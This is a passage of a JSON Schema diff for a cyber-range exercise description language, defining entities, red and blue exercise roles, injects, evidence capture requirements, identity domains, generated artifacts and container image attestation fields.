contract.","properties":{"allowed_contexts":{"items":{"$ref":"#/$defs/_r146"},"minItems":1,"title":"Allowed Contexts","type":"array"},"coordinate":{"$ref":"#/$defs/DomainProfileCoordinateModel"},"profile_schema":{"$ref":"#/$defs/DomainProfileSchemaModel"},"schema_version":{"const":"domain-profile-definition/v1","default":"domain-profile-definition/v1","title":"Schema Version","type":"string"},"semantic_contract":{"$ref":"#/$defs/DomainProfileSemanticContractModel"}},"required":["coordinate","profile_schema","semantic_contract","allowed_contexts"],"title":"DomainProfileDefinitionModel","type":"object"}, + "DomainProfileSchemaModel": {"additionalProperties":false,"description":"Pinned inert JSON Schema carried by a profile definition.","properties":{"dialect":{"const":"https://json-schema.org/draft/2020-12/schema","default":"https://json-schema.org/draft/2020-12/schema","title":"Dialect","type":"string"},"required_vocabularies":{"default":[],"items":{"$ref":"#/$defs/_r146"},"title":"Required Vocabularies","type":"array"},"revision":{"$ref":"#/$defs/_r131"},"schema_digest":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$","title":"Schema Digest","type":"string"},"schema_document":{"additionalProperties":{"$ref":"#/$defs/JsonValue"},"title":"Schema Document","type":"object"},"schema_id":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Schema Id","type":"string"}},"required":["schema_id","revision","schema_digest","schema_document"],"title":"DomainProfileSchemaModel","type":"object"}, + "DomainProfileSemanticContractModel": {"additionalProperties":false,"description":"Exact identity of pre-installed semantic behavior, never executable data.","properties":{"authority":{"$ref":"#/$defs/_r139"},"contract_id":{"maxLength":128,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-z][a-z0-9]*(?:[-.][a-z0-9]+)*$","title":"Contract Id","type":"string"},"digest":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$","title":"Digest","type":"string"},"revision":{"$ref":"#/$defs/_r131"}},"required":["authority","contract_id","revision","digest"],"title":"DomainProfileSemanticContractModel","type":"object"}, + "EndpointPersona": {"description":"Scenario function of a compute endpoint, separate from login/participant roles.","enum":["workforce","engineering","privileged_admin","participant","service","carrier"],"title":"EndpointPersona","type":"string"}, + "Entity": {"additionalProperties":false,"description":"An organizational unit, team, or person in the exercise.\n\nEntities can nest recursively. Flattened names use dot-notation:\n``blue-team.bob`` refers to the ``bob`` entity nested inside\n``blue-team``.","properties":{"description":{"$ref":"#/$defs/_r53"},"entities":{"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/Entity"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Entities","type":"object"},"events":{"$ref":"#/$defs/_r117"},"facts":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Facts","type":"object"},"mission":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mission","type":"string"},"name":{"$ref":"#/$defs/_r64"},"role":{"anyOf":[{"$ref":"#/$defs/ExerciseRole"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Role"}},"title":"Entity","type":"object"}, + "Event": {"additionalProperties":false,"description":"A triggered action combining assertion preconditions and injects.","properties":{"assertions":{"$ref":"#/$defs/_r104"},"description":{"$ref":"#/$defs/_r53"},"injects":{"items":{"$ref":"#/$defs/_r185"},"title":"Injects","type":"array"},"name":{"$ref":"#/$defs/_r64"},"source":{"anyOf":[{"$ref":"#/$defs/Source"},{"type":"null"}],"default":null}},"title":"Event","type":"object"}, + "EvidenceIntegrityExpectation": {"description":"Expected integrity or chain-of-custody treatment.","enum":["none","checksum","signature","chain_of_custody","timestamped","other"],"title":"EvidenceIntegrityExpectation","type":"string"}, + "EvidenceLossDisclosureExpectation": {"description":"Expected disclosure when capture is incomplete or lossy.","enum":["not_expected","best_effort","required","other"],"title":"EvidenceLossDisclosureExpectation","type":"string"}, + "EvidenceRedactionExpectation": {"description":"Expected redaction treatment for captured output.","enum":["none","redact_sensitive","redact_secrets","aggregate_only","derived_only","other"],"title":"EvidenceRedactionExpectation","type":"string"}, + "EvidenceRequirement": {"additionalProperties":false,"description":"One authored data, evidence, or output capture requirement.\n\nThe model records capture intent only. Executable capture contracts may map\nthis to ``experiment-capture-spec-v1`` later, but captured payloads and\nproof of capture belong to experiment evidence records.","properties":{"artifact_role":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Artifact Role","type":"string"},"boundary_kind":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Boundary Kind","type":"string"},"boundary_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Boundary Ref","type":"string"},"capture_requirement_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Capture Requirement Ref","type":"string"},"capture_spec_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Capture Spec Ref","type":"string"},"channel":{"anyOf":[{"$ref":"#/$defs/EvidenceRequirementChannel"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Channel"},"channel_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Channel Refs","type":"array"},"description":{"$ref":"#/$defs/_r53"},"field_selectors":{"items":{"$ref":"#/$defs/_r185"},"title":"Field Selectors","type":"array"},"integrity":{"anyOf":[{"$ref":"#/$defs/EvidenceIntegrityExpectation"},{"$ref":"#/$defs/_r185"}],"title":"Integrity"},"loss_disclosure":{"anyOf":[{"$ref":"#/$defs/EvidenceLossDisclosureExpectation"},{"$ref":"#/$defs/_r185"}],"title":"Loss Disclosure"},"media_types":{"items":{"$ref":"#/$defs/_r185"},"title":"Media Types","type":"array"},"notes":{"items":{"$ref":"#/$defs/_r185"},"title":"Notes","type":"array"},"observation_demand":{"anyOf":[{"$ref":"#/$defs/ObservationDemandRule"},{"type":"null"}],"default":null},"output_contract":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Output Contract","type":"string"},"redaction":{"anyOf":[{"$ref":"#/$defs/EvidenceRedactionExpectation"},{"$ref":"#/$defs/_r185"}],"title":"Redaction"},"retention":{"anyOf":[{"$ref":"#/$defs/EvidenceRetentionExpectation"},{"$ref":"#/$defs/_r185"}],"title":"Retention"},"scope":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Scope","type":"string"},"scope_refs":{"$ref":"#/$defs/_r127"},"sensitivity":{"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"title":"Sensitivity"},"source_class":{"anyOf":[{"$ref":"#/$defs/EvidenceRequirementSourceClass"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Source Class"},"source_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Source Refs","type":"array"},"trigger_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Trigger Ref","type":"string"},"window":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Window","type":"string"}},"required":["sensitivity","redaction","integrity","retention","loss_disclosure"],"title":"EvidenceRequirement","type":"object"}, + "EvidenceRequirementChannel": {"description":"Capture channel or modality for an authored requirement.","enum":["packet_capture","log","trace","metric","file_artifact","screen_capture","api_response","database_record","participant_output","other"],"title":"EvidenceRequirementChannel","type":"string"}, + "EvidenceRequirementSourceClass": {"description":"Closed source classes for requirements without a concrete source ref.","enum":["scenario_native_observability","participant_action","participant_observation","scenario_state","processor_backend","apparatus","external","other"],"title":"EvidenceRequirementSourceClass","type":"string"}, + "EvidenceRetentionExpectation": {"description":"Expected retention boundary for captured output.","enum":["not_retained","run_lifetime","study_lifetime","archival","policy_defined","other"],"title":"EvidenceRetentionExpectation","type":"string"}, + "ExactRatio": {"additionalProperties":false,"description":"Reduced positive rational value.","properties":{"denominator":{"exclusiveMinimum":0,"title":"Denominator","type":"integer"},"numerator":{"exclusiveMinimum":0,"title":"Numerator","type":"integer"}},"required":["numerator","denominator"],"title":"ExactRatio","type":"object"}, + "ExerciseRole": {"description":"Role in the exercise.","enum":["white","green","red","blue"],"title":"ExerciseRole","type":"string"}, + "ExplicitnessClass": {"description":"SEM-218 author-intent class for a declaration.","enum":["exact","constrained","open"],"title":"ExplicitnessClass","type":"string"}, + "ExplicitnessProvenance": {"description":"Where the classified value came from in the SDL lifecycle.","enum":["author-declared","processor-derived","backend-realized"],"title":"ExplicitnessProvenance","type":"string"}, + "Feature": {"additionalProperties":false,"description":"A software artifact, service, or configuration deployed to a compute node.","properties":{"dependencies":{"$ref":"#/$defs/_r111"},"description":{"$ref":"#/$defs/_r53"},"destination":{"$ref":"#/$defs/_r54"},"environment":{"$ref":"#/$defs/_r116"},"name":{"$ref":"#/$defs/_r64"},"source":{"anyOf":[{"$ref":"#/$defs/Source"},{"type":"null"}],"default":null},"type":{"$ref":"#/$defs/FeatureType"}},"required":["type"],"title":"Feature","type":"object"}, + "FeatureType": {"description":"Kind of feature deployed to a compute node.","enum":["service","configuration","artifact"],"title":"FeatureType","type":"string"}, + "FederationDirection": {"description":"Portable direction for workforce authority federation.","enum":["authority_to_facade"],"title":"FederationDirection","type":"string"}, + "FederationMappingIntent": {"description":"Portable outcome of identity mapping without provider mapper syntax.","enum":["groups_to_roles"],"title":"FederationMappingIntent","type":"string"}, + "FederationProtocol": {"description":"Portable directory-to-facade synchronization protocols.","enum":["ldap_tls","scim"],"title":"FederationProtocol","type":"string"}, + "ForestTrustDirection": {"description":"Authority direction for one forest trust edge.","enum":["one_way_outbound","one_way_inbound","bidirectional"],"title":"ForestTrustDirection","type":"string"}, + "ForestTrustType": {"description":"Closed forest-to-forest trust profiles.","enum":["forest"],"title":"ForestTrustType","type":"string"}, + "GeneratedArtifact": {"additionalProperties":false,"description":"Desired generated configuration or certificate/key material.","properties":{"consumers":{"items":{"$ref":"#/$defs/GeneratedArtifactConsumer"},"title":"Consumers","type":"array","uniqueItems":true},"generator":{"anyOf":[{"$ref":"#/$defs/GeneratedArtifactKind"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Generator"},"lifecycle":{"$ref":"#/$defs/GeneratedArtifactLifecycle"},"ordering_dependencies":{"$ref":"#/$defs/_r125"},"outputs":{"items":{"$ref":"#/$defs/GeneratedArtifactOutput"},"minItems":1,"title":"Outputs","type":"array","uniqueItems":true},"provenance":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Provenance","type":"string"},"random_value":{"anyOf":[{"$ref":"#/$defs/RandomValueRecipe"},{"type":"null"}],"default":null},"refresh_dependencies":{"$ref":"#/$defs/_r126"},"regeneration_scope":{"anyOf":[{"$ref":"#/$defs/GeneratedArtifactRegenerationScope"},{"type":"null"}],"default":null}},"required":["generator","lifecycle","provenance","outputs"],"title":"GeneratedArtifact","type":"object"}, + "GeneratedArtifactConsumer": {"additionalProperties":false,"description":"A read-only artifact projection selected by output name.","properties":{"access_mode":{"$ref":"#/$defs/ConsumerAccessMode"},"mount_destination":{"$ref":"#/$defs/_r173"},"node":{"$ref":"#/$defs/_r175"},"selected_outputs":{"items":{"$ref":"#/$defs/_r3"},"minItems":1,"title":"Selected Outputs","type":"array","uniqueItems":true}},"required":["node","mount_destination","access_mode"],"title":"GeneratedArtifactConsumer","type":"object"}, + "GeneratedArtifactKind": {"description":"Portable kinds of material a provisioner may generate.","enum":["certificate_bundle","rendered_config","ssh_key_bundle","random_value"],"title":"GeneratedArtifactKind","type":"string"}, + "GeneratedArtifactLifecycle": {"enum":["regenerate_on_change","reuse_valid"],"title":"GeneratedArtifactLifecycle","type":"string"}, + "GeneratedArtifactOutput": {"additionalProperties":false,"description":"One complete output declared by an artifact generator.","properties":{"disposition":{"$ref":"#/$defs/GeneratedArtifactOutputDisposition","default":"consumer_selected"},"name":{"$ref":"#/$defs/_r1"},"path":{"$ref":"#/$defs/_r176"},"sensitivity":{"$ref":"#/$defs/ResourceSensitivity"}},"required":["name","path","sensitivity"],"title":"GeneratedArtifactOutput","type":"object"}, + "GeneratedArtifactOutputDisposition": {"enum":["consumer_selected","producer_private"],"title":"GeneratedArtifactOutputDisposition","type":"string"}, + "GeneratedArtifactRegenerationScope": {"description":"When a ``random_value`` generated artifact is regenerated (issue #1276).\n\nDistinct from ``GeneratedArtifactLifecycle`` (change-driven reuse): scope\ngoverns *freshness*. ``per_run`` regenerates for each fresh authoritative run;\n``per_instantiation`` regenerates for each distinct realized scenario instance;\n``once`` binds a single generation to the backend-owned artifact-instance\nlifetime.","enum":["per_run","per_instantiation","once"],"title":"GeneratedArtifactRegenerationScope","type":"string"}, + "GeneratedArtifactValueSource": {"additionalProperties":false,"description":"Value-free reference to a generated-artifact output consumed as a runtime value.\n\nNames the producing ``generated_artifacts.`` (bare id or namespaced\nform) and one of its outputs. It carries no generated bytes: the raw value\nis realized at provisioning time from the referenced output, never authored\ninto the SDL. Cross-resource resolution (artifact exists, output exists and\nis not ``producer_private``) is enforced by semantic admission.","properties":{"generated_artifact":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Generated Artifact","type":"string"},"output":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Output","type":"string"}},"required":["generated_artifact","output"],"title":"GeneratedArtifactValueSource","type":"object"}, + "IdentityDomain": {"additionalProperties":false,"allOf":[{"if":{"properties":{"profile":{"type":"string"}}},"then":{"properties":{"dns_name":{"minLength":1},"netbios_name":{"minLength":1}},"required":["dns_name","netbios_name"]}}],"description":"Scenario-scoped authored identity domain.","properties":{"authority_account_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Authority Account Ref","type":"string"},"dns_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Dns Name","type":"string"},"netbios_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Netbios Name","type":"string"},"profile":{"anyOf":[{"$ref":"#/$defs/IdentityDomainProfile"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Profile"}},"required":["profile","authority_account_ref"],"title":"IdentityDomain","type":"object"}, + "IdentityDomainProfile": {"description":"Closed profiles whose controller/join semantics are realizable.","enum":["active_directory"],"title":"IdentityDomainProfile","type":"string"}, + "IdentityFacade": {"additionalProperties":false,"description":"Authored IdP facade identified through an existing logical service.","properties":{"protocol":{"anyOf":[{"$ref":"#/$defs/IdentityFacadeProtocol"},{"$ref":"#/$defs/DomainProfileBindingModel"}],"title":"Protocol"},"service_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Service Ref","type":"string"}},"required":["service_ref","protocol"],"title":"IdentityFacade","type":"object"}, + "IdentityFacadeProtocol": {"description":"Challenge-facing identity protocol exposed by an authored facade.","enum":["oidc"],"title":"IdentityFacadeProtocol","type":"string"}, + "IdentityForest": {"additionalProperties":false,"description":"A forest with explicit root and complete authored domain membership.","properties":{"domain_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Domain Refs","type":"array"},"root_domain_ref":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Root Domain Ref","type":"string"}},"required":["root_domain_ref","domain_refs"],"title":"IdentityForest","type":"object"}, + "ImageAttestation": {"additionalProperties":false,"description":"Observed build-attestation availability and verification result.\n\nAttestation *availability* (``status``) and *verification result*\n(``verification``) are deliberately separate facts: a mutable local image\ntag with no registry-visible OCI/in-toto/SLSA attestation is not the same\nstate as a failed verification (ADR-023 \u00a75).","properties":{"attestation_type":{"anyOf":[{"$ref":"#/$defs/ImageAttestationType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[oO][cC][iI]|[iI][nN][-_][tT][oO][tT][oO]|[sS][lL][sS][aA]|[oO][tT][hH][eE][rR]|[nN][oO][nN][eE]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Attestation Type"},"description":{"$ref":"#/$defs/_r53"},"evidence_reference":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Evidence Reference","type":"string"},"predicate_type":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Predicate Type","type":"string"},"status":{"anyOf":[{"$ref":"#/$defs/ImageAttestationStatus"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][rR][eE][sS][eE][nN][tT]|[aA][bB][sS][eE][nN][tT]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Status"},"verification":{"anyOf":[{"$ref":"#/$defs/ImageVerificationStatus"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[vV][eE][rR][iI][fF][iI][eE][dD]|[fF][aA][iI][lL][eE][dD]|[uU][nN][vV][eE][rR][iI][fF][iI][eE][dD]|[nN][oO][tT][-_][aA][pP][pP][lL][iI][cC][aA][bB][lL][eE]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Verification"}},"title":"ImageAttestation","type":"object"}, + "ImageAttestationStatus": {"description":"Availability of a registry-visible build attestation for an image.","enum":["present","absent","unknown"],"title":"ImageAttestationStatus","type":"string"}, + "ImageAttestationType": {"description":"Format of an observed image build attestation.","enum":["oci","in_toto","slsa","other","none","unknown"],"title":"ImageAttestationType","type":"string"}, + "ImageBuildArg": {"additionalProperties":false,"description":"An observed build argument with value-sensitivity classification.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r9"}},"required":["name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"ImageBuildArg","type":"object"}, + "ImageConfig": {"additionalProperties":false,"description":"Observed image-default configuration baked into the image artifact.\n\nThese are image defaults, distinct from runtime-effective container facts\nrecorded under ``Node.runtime.container``.","properties":{"command":{"$ref":"#/$defs/_r107"},"default_environment":{"items":{"$ref":"#/$defs/ImageEnvironmentDefault"},"title":"Default Environment","type":"array"},"description":{"$ref":"#/$defs/_r53"},"entrypoint":{"$ref":"#/$defs/_r115"},"exposed_ports":{"items":{"$ref":"#/$defs/_r185"},"title":"Exposed Ports","type":"array"},"labels":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Labels","type":"object"},"working_directory":{"$ref":"#/$defs/_r82"}},"title":"ImageConfig","type":"object"}, + "ImageCopiedSource": {"additionalProperties":false,"description":"A source path copied into the image and its in-image destination.","properties":{"description":{"$ref":"#/$defs/_r53"},"destination_path":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Destination Path","type":"string"},"from_stage":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"From Stage","type":"string"},"source_path":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Path","type":"string"}},"required":["source_path","destination_path"],"title":"ImageCopiedSource","type":"object"}, + "ImageEnvironmentDefault": {"additionalProperties":false,"description":"An image-default environment variable with sensitivity classification.","if":{"properties":{"value_classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["value_classification"]},"properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"value":{"$ref":"#/$defs/_r80"},"value_classification":{"$ref":"#/$defs/_r9"}},"required":["name"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"ImageEnvironmentDefault","type":"object"}, + "ImageLayer": {"additionalProperties":false,"description":"An observed layer in the image layer chain.\n\nEmpty/metadata-only layers (e.g. ``ENV`` instructions) legitimately carry\nno ``digest``; the layer is still recorded for build-history correlation.","properties":{"created_by":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Created By","type":"string"},"description":{"$ref":"#/$defs/_r53"},"digest":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Digest","type":"string"},"empty":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Empty"},"size":{"$ref":"#/$defs/_r38"}},"title":"ImageLayer","type":"object"}, + "ImageSourceInput": {"additionalProperties":false,"description":"A source-package input and its source-to-runtime destination mapping.\n\n``source_path`` uses the same source-path dialect as\n``RuntimeFilesystemEntry.source_path`` so the build-time input and the\nrealized runtime entry can be correlated.","properties":{"checksum":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Checksum","type":"string"},"checksum_algorithm":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Checksum Algorithm","type":"string"},"description":{"$ref":"#/$defs/_r53"},"destination_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Destination Path","type":"string"},"identifier":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Identifier","type":"string"},"source_path":{"$ref":"#/$defs/_r73"}},"required":["identifier"],"title":"ImageSourceInput","type":"object"}, + "ImageVerificationStatus": {"description":"Result of verifying an image's build attestation.","enum":["verified","failed","unverified","not_applicable","unknown"],"title":"ImageVerificationStatus","type":"string"}, + "InfraNode": {"additionalProperties":false,"description":"Deployment parameters for a node.\n\nShorthand: ``node-name: 3`` (just the count).\nLonghand: full dict with count, links, dependencies, properties, acls.","properties":{"acls":{"items":{"$ref":"#/$defs/ACLRule"},"title":"Acls","type":"array"},"count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"default":1,"title":"Count"},"dependencies":{"$ref":"#/$defs/_r111"},"description":{"$ref":"#/$defs/_r53"},"links":{"items":{"$ref":"#/$defs/_r185"},"title":"Links","type":"array"},"properties":{"anyOf":[{"$ref":"#/$defs/SimpleProperties"},{"items":{"additionalProperties":{"$ref":"#/$defs/_r185"},"type":"object"},"type":"array"},{"type":"null"}],"default":null,"title":"Properties"}},"title":"InfraNode","type":"object"}, + "InitialKnowledge": {"additionalProperties":false,"description":"What an agent knows about the scenario at start time.\n\nAdapted from CybORG's INT (Initial Network Topology).\nSpecifies which hosts, subnets, services, and accounts\nthe agent has knowledge of before the scenario begins.","properties":{"accounts":{"items":{"$ref":"#/$defs/_r185"},"title":"Accounts","type":"array"},"hosts":{"$ref":"#/$defs/_r121"},"services":{"items":{"$ref":"#/$defs/_r185"},"title":"Services","type":"array"},"subnets":{"items":{"$ref":"#/$defs/_r185"},"title":"Subnets","type":"array"}},"title":"InitialKnowledge","type":"object"}, + "Inject": {"additionalProperties":false,"description":"An action injected between entities during an exercise.","properties":{"description":{"$ref":"#/$defs/_r53"},"environment":{"$ref":"#/$defs/_r116"},"from_entity":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"From Entity","type":"string"},"name":{"$ref":"#/$defs/_r64"},"source":{"anyOf":[{"$ref":"#/$defs/Source"},{"type":"null"}],"default":null},"to_entities":{"items":{"$ref":"#/$defs/_r185"},"title":"To Entities","type":"array"}},"title":"Inject","type":"object"}, + "InstantiatedMaterializationDigest": {"additionalProperties":false,"description":"Identity of the original admitted input, not the materialized artifact.","properties":{"algorithm":{"const":"sha256","title":"Algorithm","type":"string"},"profile":{"const":"raes-sdl-instantiated-snapshot/v2","title":"Profile","type":"string"},"value":{"$ref":"#/$defs/_r167"}},"required":["profile","algorithm","value"],"title":"InstantiatedMaterializationDigest","type":"object"}, + "JsonValue": {}, + "KernelBoundary": {"description":"Kernel/trust boundary requested between logical node and carrier.","enum":["shared_kernel","separate_kernel"],"title":"KernelBoundary","type":"string"}, + "LocalOutcomeCriterion": {"additionalProperties":false,"description":"An explicitly declared realized effect, never an action status shortcut.","properties":{"criterion_id":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"\\S","title":"Criterion Id","type":"string"},"effect_id":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"\\S","title":"Effect Id","type":"string"},"source_id":{"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"\\S","title":"Source Id","type":"string"}},"required":["criterion_id","source_id","effect_id"],"title":"LocalOutcomeCriterion","type":"object"}, + "LocalOutcomeDefinition": {"additionalProperties":false,"description":"All criteria must be evidenced; contradictory observations need 